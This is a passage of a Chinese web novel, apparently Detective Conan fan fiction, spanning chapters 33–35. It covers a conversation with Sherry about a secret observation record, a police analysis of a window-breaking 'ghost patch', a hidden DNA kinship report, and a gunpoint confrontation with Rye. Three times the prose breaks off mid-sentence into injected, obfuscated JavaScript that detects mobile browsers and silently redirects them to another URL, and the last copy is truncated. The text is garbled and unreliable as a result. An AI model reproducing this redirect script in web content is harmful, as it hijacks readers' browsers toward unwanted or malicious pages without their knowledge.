“抱歉。”她不想瞒着雪莉,“其实,我的记忆出了问题。十七年前的事情,对于我来说是一片空白。不止如此,我只有将近一个月的记忆而已。” 雪莉有些惊讶地睁大了眼睛,试图从白羽响的神色中确认这话的真伪。 “是真的。”白羽响无奈地叹了口气,指了指自己的头,“我以为你刚刚问的是身体机能的情况,所以说自己很健康,其实出问题的是这里……” 这也不算是欺骗,毕竟她确实没有原主的记忆。 很显然,雪莉的手上掌握着什么很重要的情报,而自己手上没有任何的筹码来交换。这样一来,除非雪莉自己愿意分享,否则她就要错过这次情报了。 白羽响开始动脑子,要怎么样才能说动雪莉,让她愿意主动分享情报。 不过这件事比她想象的要简单。 “我知道了。”雪莉轻轻地叹了口气,“看来,你还是受到了‘降神计划’的影响。” “‘降神计划’?”白羽响顺着她的话默默念了一遍。 随着这个名字,有什么东西在脑中翻涌,一瞬间呼之欲出,然后又迅速彻底消失得无影无踪。 什么? 就在刚刚,她的大脑不受控制一般地动了起来? “组织有一些很久远的研究,留下了一批记录。我只有十五岁,对于这个十七年前的计划并不清楚。”雪莉说道,“但是就在三个礼拜前,我明确地见到过你的名字——‘白羽响’。” 白羽响心头猛地一跳。 记录? “实验记录?” 实验品?她? “不,是观察记录。”雪莉说着,抿了抿嘴,“三个礼拜前,组织的共享平台更新了一份观察记录。平台是半年前邀请外国技术人员新建的,用于存放和共享,平时只有我在用。这是第一次出现别的东西,我就好奇地看了一眼。” 对于招募的事,白羽响略有耳闻。据说组织在欧洲招了一个计算机方面的天才,现在在朗姆的手里。 雪莉继续说道:“那份记录很长,里面的内容是关于对照组的观察与分析。但是除了你的名字以外,其他人都被标注成了‘死亡’。我没细看,它就被标注成了绝密,现在大概只有组织高层能够查看了。” 全部标注为“死亡”…… 雪莉的声音很轻,却像一颗炸雷在白羽响耳边炸开。 她的指尖无意识地抠着桌布,心脏像是被一只无形的手攥住,骤然收紧。 按照时间,原主只是一个五岁的孩子。这么小的孩子,为什么会出现在组织的观察记录里? “观察记录……”她重复着,声音有些发颤,“对照组?我的对照组是谁?” “我不记得了。”雪莉摇了摇头。 白羽响张了张嘴,还想问些什么,却说不出来。 她说不清楚现在的感受。与其说害怕,倒不如说是突如其来的荒谬和寒意。 直觉告诉她,原主对照组的另一个名字,很可能是“枡山乡音”——曾经的她,响酒。因为雪莉说,那份观察记录的更新时间是三周前。 三周前,正是她想要去替莱伊善后,被炸死在仓库里的时间。这份档案或许修改的是她的“生死”…… 瞬间,无数个疑问像潮水般涌进脑海。 组织想观察什么? 她的生活?还是能否活下去? 原主留下的安眠药、曾经不健康的过瘦体型……她一直以为那只是原主抗压能力差、作息紊乱导致的,可现在想来,会不会都和这份“观察记录”背后的事有关? 贝尔摩德八个月前与她接触,是因为这个吗? 原主呢,知道她一直在被组织观察吗? 她一直以为自己的意识重生在这具身体里,是某种偶然或上天的恩赐。可此刻雪莉的话,却让她猛然意识到:从17年前开始,这具身体的主人就已经是组织棋盘上的猎物了,这种被人暗中窥视、记录了十几年的感觉,让她毛骨悚然。 “这样吧,下次见面,我会给你进行一次全身的检查,今天不太方便。”雪莉搁下了已经喝完的咖啡,戴上了口罩,皱起了眉头,“早上从会场出去的时候,我被一个叫田边的记者拦了下来,他似乎认识我,非要带我走……这几个小时他一直都在跟踪纠缠我,很讨厌。” 这个姓氏有点耳熟,田边……楠田陆道的化名? 白羽响顿时反应过来。 组织安排他在会场等待,应该是想接替昨天伏特加的任务,替琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103764|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒寻找到雪莉。雪莉认识伏特加,会避让着他走,但却不认识楠田陆道。 “他是组织的人,你是组织的金疙瘩,他不敢动你。”白羽响安抚了她。 “他是不敢动我。”雪莉的眉毛皱得更紧了些,“他一直在说我是他的‘通天梯’,不能让我离开他的视线。而且,在这期间他一直在说……一个逝者的坏话。说他不能被连累,要借着我获取琴酒的信任才行,我好不容易才把他甩掉。” 逝者? 连累? 不会是她吧? 白羽响挑了挑眉。 刚刚的疑云渐渐散去,楠田陆道的事转移了她窒息一般的精神状态,虽然听着不是什么好事,但却让她从迷惘中找回了自己的判断力。 她自认对楠田陆道仁至义尽,招募了他甚至将他引荐给琴酒,他非但不感恩,反而全算在已经死去的她头上,现在竟然想着能够借用雪莉朝着琴酒投诚。 “这件事,就不用你来操心了。”面对雪莉,白羽响不想透露太多负面的情绪,只是简单地说道,“我保证他一个小时之内消失,这之后你不会再受到骚扰。” 雪莉有些惊讶,似乎没想到她还有这样的本事。 “谢谢你。”她脸上的神情逐渐变得平缓,“我在日本的事做完了,会在合适的时间被琴酒的人‘找到’……等我学业告一段落的时候,会回来日本找你的。” 简单地告别之后,白羽响转身朝着咖啡馆门口走去。 一边出门,她一边打开手机,找到了楠田陆道从前对外公布的邮箱。一封匿名的邮件发出,内容是关于“黑川郁夫假死”的推测和完整证据链。 此举不仅能推进波本的计划,也能帮助雪莉成功离开楠田陆道的视线,一举两得。 楠田陆道这几天有得忙活了。 另一边,雪莉兀自坐在原地,看着白羽响远走的背影,眼神渐渐柔和下来,脑海里不由自主地浮现出另一个相似的轮廓。 那是几年前,她在美国的时候。 因为父母离世,姐姐宫野明美远在日本,她独自一人被组织安排在海外的实验室里,一边读书一边继续父母留下的实验。某几次需要家长出席的场合,组织派来了一个女人,充当她监护人。 她只知道这个人的行动代号叫响酒,除此之外,是完全的陌生人。 那个女人穿着一身浅米色的风衣来见她,模样像是一个邻家姐姐。可雪莉对这个突然出现的“监护人”充满了抵触——她要的是姐姐的陪伴,不是一个陌生人的关照。 她对响酒格外冷淡,从不主动说话,甚至刻意保持距离。可她还是能感觉到,这个人有点不一样。 响酒……她不是组织的木偶。 这个女人会挡掉一些不必要的麻烦,包容自己的冷漠和敏感。甚至会在她的高中结业考试过后,像真的家属一样,准备了正装、送给了她一束花。 “要去结业旅行吗?”那天响酒笑着问她,“boss要求你不能离开学校,但我可以偷偷带你出去兜两个小时的风。” 兜风而已,算什么旅行? 雪莉心中的回应很不屑,但她没有说出口。她能感受到响酒的善意,和组织之前派来的那些“兢兢业业”的人不一样。 从那之后,她与响酒再也没有联系。再次听说这个人的消息,她已经被认定为叛徒处死。 叛徒……吗? 雪莉说不清楚心中的感受。 其实她没那么了解响酒,她只是不想从别人的嘴里,听见对响酒的诋毁和怨气。 想到这里,她握紧了手中的U盘。 33.“幽灵贴片” 杯户饭店的宴会厅里,松田阵平的指尖捏着一个透明证物袋。 塑料袋内装着一枚指甲盖大小的金属碎片,这是他刚刚从展示台附近找到的微型爆破装置残骸。 两天前,搜查一课转来了一份案件报告。 这是个有些特殊的案件——没有人受伤,没有人死亡,“枪击”是假的,血是提前备好的血浆,就好像这一切只是恶作剧玩笑。 警方调查得一头雾水,只得传唤了证人。富泽家对此事支支吾吾,而朱雀科技的负责人、“受袭者”黑川郁夫,玩起了人间蒸发。除了几个言语搪塞的下属之外,这群人扔给警方的,只有一个混乱的现场。 黑川郁夫没死,但确实有人想杀他,因此富泽家要求警方对黑川仍然在世的事情保密。 束手无策的刑警不得不另辟蹊径,找到了松田阵平的头上。 宴会厅还残留着两天前混乱的场面,警戒线将展示台围得严严实实,干涸的血浆凝结在地上,称得上是一片狼藉。 身后的队员已经在小声嘟囔。 “不就是影视剧里常用的爆破道具,无聊的把戏……” “这顶多算个特殊袭击案,用得着松田队长来配合吗?” 松田阵平对这些声音不以为然,他低头翻看着报告,反复注视着“现场高处玻璃碎裂、没有发现弹壳”等细节内容,转过身朝着高处碎裂的玻璃。 玻璃几乎是朝内碎裂的,光看现场还真像是被枪击过一般,但是…… 他大致看了一眼宴会厅的顶高,那玻璃窗的高度恐怕超过了四米。 “去二层。”松田阵平有个大胆的想法,“把我吊下来看看。” 队员们面面相觑,但很快拿来了专业的设备。两名队员固定好滑轮支架,将绳索牢牢系在露台的承重柱上,反复检查确认安全后,才递给松田。 松田接过安全带系好,将绳索末端的挂钩扣在安全带上,指尖拽了拽绳索,感受着它的紧绷度。他低头看了看下方的位置,距离地面大约四米高,玻璃碎裂的位置就在眼前。 这是一块很久都没有人打扫过的玻璃,原本就位于高处,清洁只靠风吹雨打。松田细细地观察着,伸出手轻轻触碰了一下碎裂的玻璃边缘。 不是他的错觉,他的指尖有黏糊糊的感觉。 凝胶? 松田悬在半空中,视线扫过下方的灌木丛。 “把我再往下放一米。” 队员们立刻握紧绳索,将他往下放。 绳索缓缓松动,他的脚几乎要碰到灌木丛的顶端。松田仔细观察着那片区域,突然瞥见一截黑色的塑料碎片,藏在枝叶缝隙里。 他心里一动,想要弯腰去捡,可悬在半空中的身体不够灵活,绳索的角度也限制了动作。于是松田做出一个让所有人都惊掉下巴的动作——他抬手解开了安全带上的挂钩,直接跳了下去。 “松田前辈!你干什么?”楼上的队员惊呼出声,想要拽紧绳索,却只抓到一片空。 松田的身体瞬间下坠,落在了那片灌木丛旁边。他站起身,拍了拍身上的草叶,戴上手套捡起那截黑色碎片,朝楼上挥了挥手。 他隔着证物袋观察手中的薄片,手套的粘连让他清晰地感觉到了这东西背面的凝胶。 这不是恶作剧,这是一次出于某种目的进行的行动,行动力和专业度都不容小觑。 他忍不住抽出一根烟叼在口中。 这个发现,实在是有趣极了。 带回警视厅的实验室,年过六旬的爆破专家早已等候在那里。老人戴上老花镜,小心翼翼地将黑色贴片放在操作台上,放大镜下,贴片中心的圆形黑点和背面残留的凝胶痕迹清晰可见。 “这东西有点意思。”专家啧啧称奇,指尖轻轻敲击贴片边缘,“我给它起个名,‘幽灵贴片’——定向破窗专用,设计得相当精妙。” 松田凑上前,看着专家用探针拨开贴片内部残留的、类似橡皮泥的胶状物质:“这是什么?” “某种非牛顿流体态的化学复合物。”专家的语气中有些感慨,“你看这里的纳米级导线网络,一旦通入超高电流,就能瞬间激发这种物质形成应力波,直接破坏玻璃的微观结构。它不用火药,靠的是结构力学原理,而且是一次性的,电路激活后自动销毁,根本没法逆向破解。” 操作台上的另一枚残骸——昨日从现场收集的微型爆破装置,与这枚“幽灵贴片”形成了呼应。 松田想起证人证词里提到的“玻璃破碎声”和“血液飞溅”,瞬间串联起线索:“所以,先靠这个贴片破窗制造枪击假象,再用另一枚爆破装置炸开血袋,伪造黑川郁夫中枪的场景?” “没错。”专家点点头,眼神里满是忌惮,“能发明这种高科技炸弹的人,绝对是个棘手角色。他不仅懂化学、懂电路,还对材料力学了如指掌,心思缜密又危险。” 松田指尖摩挲着证物袋,烟卷在唇间转了一圈。他见过不少爆破装置,却从未见过如此创新且隐蔽的设计。 没有明火,没有明显爆炸痕迹,却能精准达成目的。背后之人的专业程度,让他心底升起强烈的警惕。 这个人……会是那个他一直在找寻的人吗? 十月上旬的米花町还掀着热浪。 白羽响穿着薄外套,在安全屋机械地做着清洁工作。 她的心里一团乱麻。 按照与波本的约定,几个小时后的午夜,她将会诱莱伊到堤无津川废弃仓库,拍下他受贿的证据,协助波本指控莱伊叛变。 以牙还牙以眼还眼……这本应该是她重生以来的头等大事,现在却好像变得没那么重要了。 组织养育了她,又夺走了她的性命。她将这份仇恨记在莱伊的头上,恨自己识人不清。可与雪莉谈完话后,那些汹涌的恨意渐渐被迷茫取代。 她与莱伊是有过节,甚至是一条命的过节。 但莱伊死了,究竟算是替自己报仇,还是为组织清除了一个叛徒? 长叹一口气后,她重复了一个今天做了无数次的动作——拿起手机。 界面一直停留在苏格兰今天清早发来的短讯上。 ——这次的任务顺利吗? 这只是一句再日常不过的问候,但几个小时过去,她都没有回答。 这次的任务……顺利,也不顺利。因为一次节外生枝的相助,她从贝尔摩德和雪莉那里获得了许多新鲜的情报,两天都没消化完。 她很想和苏格兰倾吐心中的郁结,也想和他讨论一下“降神计划”,但他们相距两地,只靠短讯难以说清楚。 一直到临出门,她才压下心绪,下定决心报喜不报忧。 ——很顺利。你呢? 几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108523|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是秒回。 ——我很好。 白羽响看着苏格兰发回的内容,长长地松了一口气。日常的报备能看出一个人的状态,从前两天的内容来看,苏格兰最近过得还不错,这句话应该没有水分。 简单的几个字,瞬间安抚了她连日来紧绷的情绪。 苏格兰的消息很快又发来,带着几分小心翼翼的追问。 ——不愉快都过去了吗? 白羽响指尖一顿,指尖划过屏幕,回复道: ——差不多吧。那些事情,等与你碰面了之后再详聊。 她能察觉出,苏格兰是在替她着想,不希望她和波本起矛盾。当然,她现在也没空追究波本的种种行为——她要与莱伊当面对峙,还要面临一份十七年来的观察记录,这两件大事牵扯了她大部分的精力。 暂时,还没到和波本翻脸的时候。 回完消息,白羽响随手将手机揣进衣兜,推开了安全屋的门。约定的时间近在眼前,她得去波本的安全屋取相机。那是波本为她准备的,用来拍下莱伊受贿证据的工具。几个小时后的午夜,她还有一场硬仗要打。 临近黄昏的地下通道,没有半夜那么阴冷,甚至还有一些往来的行人。白羽响顺着地下的楼梯走上路面,一束天光穿过公寓楼的缝隙,打在了她前方的地面上,带着几分温暖的光晕。 口袋中有震动传来。 她停下脚步,掏出手机,打开邮箱,是苏格兰发来的回话。 ——好,我会尽快与你见面。在此之前,任何决定和处理都以你的判断为先,别人的立场和感受都没那么重要……我也一样。 白羽响看着屏幕上的文字,嘴角不自觉地弯了弯。 她明白,这是苏格兰在想办法消除她的顾虑。哪怕是没有任何温度的文字,也能被他洞察出细微的情绪变动。他能迅速地消化他人尖刻的态度,在人情世故的处理上天赋异禀。 脚步继续朝着波本的安全屋走去,上了电梯之后,她轻轻敲响了门。 本想着几秒钟波本就会来开门,却没想到过了半分钟都无人应答。 她记错时间了? 白羽响狐疑地看了一眼手机上的时间。 两天前他们约的是这个时候没错啊? 她再次敲了敲门,依然没有声响。又过了半分钟,门内终于传来了动静。 先是一阵轻微的脚步声,然后是钥匙转动锁芯的“咔哒”声,紧接着,门被缓缓拉开。 波本站在门后,身上的围裙沾着不少白色的粉末,像撒了一层薄薄的雪。他的头发微微凌乱,鼻尖上还沾着一点面粉,脸颊上甚至有一道浅浅的痕迹,看起来有些狼狈。 白羽响瞬间愣住了,瞳孔微微睁大。她走上前,伸手轻轻碰了碰他鼻尖的面粉,瞬间手指上沾了一点白色的粉末。 像个花猫。 她忍不住笑了起来:“波本先生这是……钻进麻袋跟面粉打了一架?” “不准挖苦我。”波本顺着她的动作抹了一把脸,脸颊微微泛红,“我不太熟练而已。” 白羽响很给面子地不再说了,心里却忍不住猜测起来。 上次来这里的时候,他也烤了蛋糕,不过她到的时候已经到烤的步骤了。那天是不是也弄得这么狼狈? 这个人……如果一直有笨拙的一面,或许会更可爱一些。 34.一份DNA报告 白羽响抬步踏进安全屋,一股浓郁的奶香混着咖喱的醇厚香气扑面而来。 看起来,除了蛋糕,波本还做了别的。他最近在研究厨艺的方面很有上进心,较劲一般地在练习着。 波本顺手关上门,转身去厨房清理身上的面粉。 白羽响跟着他往厨房走,被波本不情不愿地拦了一把。 她失笑:“怎么?刚刚的‘战场’不能被我看见?” 越是这样,她越是要看。白羽响倚在厨房门框上,双手抱胸,目光饶有兴致地落在他身上。波本没好气地扯下围裙,用纸巾胡乱擦着衣服上的面粉,部分细粉被纸巾掸到了半空中,看起来十分不好收拾。 “要我帮忙吗?”嘴上这么说,实际上她却没有任何要上前的举动。 波本好面子,可她偏偏就喜欢看这种人的乐子,今天他的狼狈相,自己是看定了。 她眼睁睁地看着波本的动作变得不自在起来。那家伙用哀怨的眼神看了她一眼,似乎在埋怨她光说而不付出行动。 不过她才懒得去帮波本呢。 她就这么笑盈盈地盯着他,直到看着波本脸黑了下来,才见好就收。 “相机在哪里?”白羽响适时转移了话题。 听到“相机”二字,波本脸上的局促瞬间褪去,眼底掠过片刻犹豫,动作也顿了半秒,才淡淡开口:“在客厅白色柜子第三层的抽屉里。” 这一瞬间的犹豫,没能逃过白羽响的眼睛。她脸上的笑意悄然淡去,心里骤然一冷。 好歹也一路合作到了现在。自己虽未全然信任他,却也从未在关键事上敷衍过,可他的防备心还是那么重。这句话明明就是让她自取,但他依然避开了表达自取的话……大概本质上,波本是不愿意她动这间房子里的任何一个角落的。 明明当时说过这间屋子共享给她,不是吗? 白羽响在心中冷笑,挪开了步子。 走了几步,她回头再看了一眼,波本依然在擦拭着身上的面粉。 这一刻,多疑与笨拙在他身上产生了强烈的割裂感。 白羽响压下心底的腹诽,朝着客厅走去。她走到那组白色柜子前,目光落在第三层抽屉上,一边在心里默默数着层数,一边伸手拉开了抽屉。 抽屉里很整洁,相机就放在最中间,黑色的机身格外显眼。可就在她伸手去拿相机时,却发现相机的挂绳没有放好,一端垂到了第四层抽屉里,被抽屉边缘夹住了,轻轻一扯,还扯不动。 她皱了皱眉,没多想,伸手将第四层抽屉轻轻拉开了一条缝,指尖探进去,想把那截被夹住的挂绳抽出来。 可就在指尖碰到挂绳,即将抽出来的一瞬间,她的目光无意间扫过抽屉内侧,赫然瞥见一叠用长尾夹固定的文件,整齐地放在抽屉角落。 起初她并未在意,只当是波本存放的一些无关紧要的资料,下意识就想关上抽屉。可就在抽屉即将合上的前一秒,文件封面上的几个黑体字,猛地撞进了她的视线——“DNA亲缘鉴定报告”。 DNA报告? 白羽响的动作瞬间僵住,指尖还停留在挂绳上,呼吸也下意识放轻了。 波本的安全屋里怎么会有这种东西?是他自己的,还是……别人的?任务目标的?总不能是莱伊的吧? 好奇心瞬间在她心底翻涌,她下意识想拉开抽屉,看清报告上的具体内容,可理智又在瞬间拉回了她。她知道,波本的防备心极重,这些文件必定是他的隐秘,若是贸然翻看,两人之间本就脆弱的合作关系,恐怕会彻底破裂,更会耽误晚上的计划。 看?还是……不看? 相处的一个月以来,一直都是波本对她单方面的洞察了解,现在有一个机会去探寻一下波本的秘密。 白羽响下意识看了一眼厨房中的波本,他毫无察觉。 她抿了抿唇。伸出一根手指,用指甲拖着抽屉,悄无声息地打开。 那份文件赫然映入眼帘。 她翻开一个角,只看了一眼,整个人就大脑一片空白。 “被鉴定人:白羽响、枡山乡音。” 她下意识抽回了手指。 枡山乡音——那是她作为“响酒”时的使用名,是刻在她骨血里、伴随她在组织摸爬滚打的身份。 白羽响的呼吸瞬间停滞,心脏砰砰乱跳。她犹豫片刻,再次指尖颤抖着翻开报告,略过那些看不懂的序列与图谱,直奔结论而去。 “经16个STR位点检测,被鉴定人白羽响与枡山乡音亲权概率达99.99%,系同父同母姐妹关系。” 报告的出具日期,正是波本第一次深夜邀请她来安全屋的那天,也就是他们开始“合作”算计莱伊的当日。 白羽响只觉得浑身血液都涌向头顶,又瞬间坠入冰窖。 虽然在雪莉提到“观察对照组”时,她就猜测或许白羽响的对照组就是响酒,但得知有血缘关系,她还是大吃一惊。 这具身体……是她的亲妹妹? 她顿时想起了之前与那位松田警官对话的时候,为了不遭受怀疑,随口说与死去的响酒是姐妹关系,没想到竟然一语成谶。 对了,当时松田阵平还说,她现在这具身体的眼睛与案件的被害者很像,尤其是眼尾的部分…… 他指的并不是指眼神,而是长相? 几乎只花了几个呼吸的时间,白羽响就将这件事消化得差不多了,取而代之的是无数的疑问。 多年来,有皮斯科和爱尔兰作为家人,她已经不再无依无靠。尽管她与这家人不算亲密,但回溯记忆的原点,就是在组织的训练营中,作为孤儿被组织收养,进行各种特训。 可现在,她对妹妹的存在毫无记忆。响酒死亡的时候是27岁,白羽响的资料上记录的是22岁,如果她真的有一个妹妹,那就是差五岁。 五岁,一个足够孩子记事的年纪。 可是根据她的记忆,她应该是一个一出生就被父母抛弃的孤儿。 或许,她的记忆有问题? 还是说,这是组织的阴谋?波本的阴谋? 长达十几年的观察,是出于这个原因? 无数的疑问砸得她头晕目眩,第一次对“真相”产生了抵触与畏惧。她不知道再查下去将会面临什么。 无论这件事的走向如何,她都被操控、被玩弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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波本的手僵在半空,脸上的笑容淡了下去。他垂眸看了看自己被打红的手背,又抬眼望向白羽响,眼底闪过一丝不易察觉的诧异,随即又恢复了惯有的表情:“怎么了?突然这么大反应。” “我心情不好。”白羽响盯着波本那张英俊的脸,“看见你的脸,我觉得来气。” 波本的眼睛微微睁大了一点:“那,我要做点什么让你消气吗?” “那倒是不用。” 白羽响持续地盯着他那张完美无缺的假面。他的笑容依旧俊朗,眼底的算计被温柔掩盖,可在她看来,这张脸和组织里那些虚伪的面具一样,陌生又冰冷。 “那就好。”波本摆出了一副乖巧的姿态,“如果我做了什么不对的事,你只要开口说,我立刻就会道歉的。” 白羽响笑了。 上次见到这幅表情,是在他被自己抓包偷溜进卫生间取头发的时候。 纵然之前在内心反复告诫自己波本不可信,可当那份DNA报告摊开的瞬间,她还是被狠狠冲击了。 这份冲击,来自于波本那份对于“姐妹亲缘”的算计。这个人笃定她一定会愿意加入这个计划,做他的棋子。因此他高高在上地做着棋手,大概也并不在意她的死活。甚至这个计划在某一刻走向失败,他也能毫无损失地全身而退。 多么理所当然又恬不知耻。 她承认,她被波本的行为深深刺痛了。 她要让他付出代价。 35.激吻 “前日在杯户饭店遭遇‘枪击’的朱雀科技负责人黑川郁夫,今日于家中现身,身体状况良好,否认遇袭传闻……” 车载广播里,女播音员的声音清晰传来,念着一篇署名为“田边”的新闻稿。 莱伊指尖夹着未燃尽的烟,看了一眼时钟,随后把车停在了堤无津川废弃仓库外的阴影里。 现在是十一点五十分。 还有十分钟,就到约定的时间了。 莱伊很期待今晚。 自从杯户饭店被人摆了一道,他就敏锐察觉到组织内部有股势力在针对自己。这几天,他藏匿在黑川郁夫居所附近,不露面,也不回复组织任何消息,静静等待着这一刻到来。 广播还在絮叨着黑川郁夫的“平安声明”,莱伊掐灭烟蒂,打开车门。夜风带着堤无津川的湿润,吹起他黑色风衣的下摆。他绕过了警方拉起的警戒线,推开了仓库虚掩的铁门。 金属门摩擦的“吱呀”声,在一片寂静中显得格外刺耳。 门口没有人埋伏。莱伊确认之后,信步走入了仓库,寂静的空间中回荡着他的脚步和呼吸声,伴随着铁锈和灰尘的味道。 太安静了。 他原本以为,今天会像一个月前那样,是一次兴师动众的围剿。 那天的火光夺走了两个人的生命,让这里所有证据化为灰烬。重新回到仓库之中,他有一种直感…… 今夜不会太平。 仓库的空地上,突兀地立着一个提款箱。 莱伊看着那个提款箱,保持着一定的距离。他抬手,再次点燃一支烟。 猩红的火光明灭间,一束强光突然直射而来,刺得他下意识眯起眼睛。他没有躲闪,透过强光看着不远处那个身影。 纤细、瘦弱,是个女人? 莱伊有些诧异。 她就站在十米之内,从一开始就站在那儿,而他竟然没有第一时间察觉。 手电的光束缓缓下移,照亮了女人的轮廓,黑色的长发散落在她的耳侧,手中握着一把勃朗宁Hipower。 “你来了。” 确实是女人的声音。 陌生的声音。 莱伊右手的烟兀自燃烧着,他快速地扫过她的轮廓,停留在了她黑夜中发亮的双目之上。 虽然声音很陌生,但这是一双熟悉的眼睛。 “只有你一个人?”他开口问道。 “对,我一个人。”她随手将手电抛在地上,光束歪向一旁,照亮了她的眼底,“有些旧账,适合在这个地方,一对一地算。” 白羽响已经等待他多时了。 按照波本的计划,此刻仓库中央应该会有富泽家的人提着黑色的行李箱,装着黑川郁夫三亿日元的买命财。而莱伊会在取走现金的瞬间,被她拍下受贿证据,顺理成章地被扣上叛徒的帽子。 她不想这件事如波本的意。 那份DNA报告的出现,磨灭了她对他仅存的耐心与好感。 晚餐做得很好,可惜她食不知味。 她一边吃,一边想着这一路走来的一切。波本插手她的任务、试图抢夺证物、偷偷在她的卫生间收集证据,甚至利用她对付莱伊,这些她都可以容忍……但她不能想象,在她将波本和苏格兰留宿在安全屋内的那个晚上,他想的只是查她、算计她、利用她。 那晚她竟然会相信,在出手拦了一次他偷偷搜查的小动作之后,波本就能乖乖地收手。 这个没有心的怪物。 她要取走莱伊的命,还拿走任务的钱,让波本感受一下计划出乱子是什么滋味。反正她原本就觉得,“构陷”不是一种适合莱伊的结局与手段。因此,她让富泽家早三个小时将钱拿来,连带着箱子一并留在了这个仓库之中。 钱,她已经取走,留下这个箱子,是为了不成为日后追查的线索。 至于莱伊……确认这个人不忠于组织后,她就一枪送走他,为他们之间那笔烂账做个完美的了结。 莱伊听着她的话,瞥了一眼横在他们二人之间的提款箱。 “旧账?” 他手中烟亮起小小的光点,他透过迷离的烟雾,盯着白羽响的双眼,不断确认着这双执拗的眼睛。 面前的女人往前走了两步。 “你的忘性不会这么大吧。一个月前,这个仓库里,有人因为介入了一个你的任务而被杀死。”她举着勃朗宁,枪口对准他的胸口,一步步逼近,直到月光完全照亮她的脸,“现在她就站在你的面前——从地狱回来找你报仇了。” 她是说,响酒? 莱伊的瞳孔骤然收缩,晃过了片刻的失神。 那个因为他的缘故、在仓库大火里葬身的女人……她变了模样,回来找他报仇? 陌生的躯壳中住着熟悉的灵魂。 类似的事情,多年前也曾发生过一次。 那个人在死亡之后意识进入了他人的身体,偶然地苏醒,并与他对话…… “有人打算用原本在箱子里的三亿日元买你的命,不过我觉得那样很没意思。” “砰”的一声,提款箱倒了下来,盖子翻开,里头空空如也。 莱伊的目光被倒下的箱子吸引了一瞬,耳边响起了她充斥着恨意的声音。 “毕竟,你欠了我一条命。你知道的,比起弯弯绕绕的手段,我一向比较喜欢亲手了结恩怨。” 话音落下,“咔哒”一声,枪上膛的声音格外清晰。 白羽响的枪口对着他,一步步逼近。 莱伊没感受到被人威胁一般,盯着她紧抿的唇线。 这是与记忆中的响酒截然不同的面容,却有着如出一辙的神态。 她很快就走到了莱伊的面前,用枪口猛地顶上他的额头,另一只手揪住他的衣领,狠狠将他按在冰冷的金属仓库门上。 “咚”的一声闷响,莱伊的后背撞上铁门,吃痛的瞬间,他看着这双熟悉的眼睛,脑中闪过一些往事。 他们的第一次见面,是一次精心安排的“巧遇”。 为了能够替FBI潜入组织,第一次见面之前,他已经在狙击枪的瞄准镜里瞄了这个女人很久了。她是他精心挑选的目标,也是他进入组织的钥匙。 “此情此景真是眼熟。”莱伊笑了,“第一次见面的时候,你就是用这个姿势拿枪指着我,逼问我的身份。” 往事历历在目,可白羽响却提不起任何兴趣。 到了此时此刻,他竟然还有功夫重温旧梦! 如果不是那一天,她在任务中遇见了这个男人,也不会在后来把他带进组织,更不会被连累着惨死……她可真是容易被人欺骗。 “别在那儿顾左右而言他!”白羽响怒喝一声,攥着莱伊领口的手用力到泛白,问出了那个从重生以来就困扰着她的问题,“现在,回答我——你是FBI派进组织的卧底吗?” 莱伊看着她,没有立刻回答,只是静静地看着她充斥着恨意的双眼。 他们从前既不算恋人,又不是情侣,不怎么浪漫,聚少离多,甚至不会互相交换秘密。那种偶尔又陆续的关系,与患难与共的情谊不同,又与彼此忠诚的爱恋无关。 但她依然在危急时刻出现在了那天晚上的现场。 她是因为担心他遇险,才成为了那桩事件中最无辜的牺牲品。 一句真话,一个答案。 如果这就能够偿还她失去的性命,那说谎实在是丧尽天良。 沉默在仓库里蔓延,只有两人的呼吸声交织。 良久,莱伊喉结滚动,终于开口,声音低沉、简洁,没有任何修饰:“是。” 一个字,像重锤砸在白羽响的心上。 答案荒谬,但她没有猜错。 为了帮一个卧底善后,她不顾安危前往陌生的行动地点,最后还代替他莫名其妙地丢了性命。 白羽响愤怒地抬起手中的枪,将枪托狠狠砸在他的脸颊上。 “啪”的一声脆响,莱伊雪白的肤色上瞬间浮现出一道红色的血痕,血从他的额间淌出。 “你冷静些。”莱伊吃痛,闷哼一声,尝试着辩解,“那天和我负责接头的FBI探员突然被琴酒抓获。琴酒逼迫他给组织中的联络人发消息,原本是想引我出来。得知消息的时候,我与FBI的人在一起商量营救的行动。原本僵持了很久,琴酒迟迟不肯收网,你正好突然出现在那里……这是意外。” 她怎么冷静? 丢了性命的人是她,她凭什么冷静? 他的FBI同事尚且有人出面交涉、收尸,而她呢?她曾经的所有人际关系都依托于组织,冤死了以后,做了孤魂野鬼……恐怕至今都躺在警方的解剖台上,被人开膛破肚。 她盯着莱伊绿色的眼睛。 “你还有什么遗言吗?” 白羽响听见自己的声音在颤抖。 等莱伊回答完这个问题,她就会扣动扳机,送这个人去死。 原以为在这一刻,她会觉得畅快淋漓。然而此时,她既没有为组织锄奸的痛快,更没有大仇得报的喜悦,看着莱伊脸上略微露出的痛苦神情,她似乎觉得自己的内心比他更加煎熬。 眼前一片模糊的血色,恐怕连眼白都在充血吧。 莱伊张了张嘴,开始交代他的遗言。 “能在死前再见你一面,我觉得很欣喜。” 白羽响呼吸停滞,心里一阵又一阵持续钝痛着。 